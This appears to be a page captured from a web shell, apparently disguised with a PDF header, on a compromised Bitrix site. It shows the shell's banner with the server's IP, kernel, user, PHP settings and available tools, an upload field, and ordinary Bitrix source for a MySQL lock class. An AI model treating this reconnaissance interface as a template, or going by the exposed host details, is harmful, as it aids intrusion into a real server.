%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.142.119.220 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/posting/ |
Upload File : |
<?php namespace Bitrix\Sender\Posting; use Bitrix\Main\Application; use Bitrix\Main\Config\Option; use Bitrix\Main\DB; class Locker { /** * @param string $key * @param int $id * * @return bool * @throws DB\SqlQueryException */ public static function lock(string $key, int $id) { $uniqueSalt = self::getLockUniqueSalt(); $connection = Application::getInstance()->getConnection(); if ($connection instanceof DB\MysqlCommonConnection) { $lockDb = $connection->query( sprintf( "SELECT GET_LOCK('%s_%s_%d', 0) as L", $uniqueSalt, $key, $id ), false, "File: ".__FILE__."<br>Line: ".__LINE__ ); $lock = $lockDb->fetch(); if ($lock["L"] == "1") { return true; } else { return false; } } return false; } public static function unlock(string $key, int $id) { $id = intval($id); $connection = Application::getInstance()->getConnection(); if ($connection instanceof DB\MysqlCommonConnection) { $uniqueSalt = self::getLockUniqueSalt(false); if (!$uniqueSalt) { return false; } $lockDb = $connection->query( sprintf( "SELECT RELEASE_LOCK('%s_%s_%d') as L", $uniqueSalt, $key, $id ) ); $lock = $lockDb->fetch(); if ($lock["L"] == "0") { return false; } else { return true; } } return false; } protected static function getLockUniqueSalt($generate = true) { $uniqueSalt = Option::get("main", "server_uniq_id", ""); if ($uniqueSalt == '' && $generate) { $uniqueSalt = hash('sha256', uniqid(rand(), true)); Option::set("main", "server_uniq_id", $uniqueSalt); } return $uniqueSalt; } }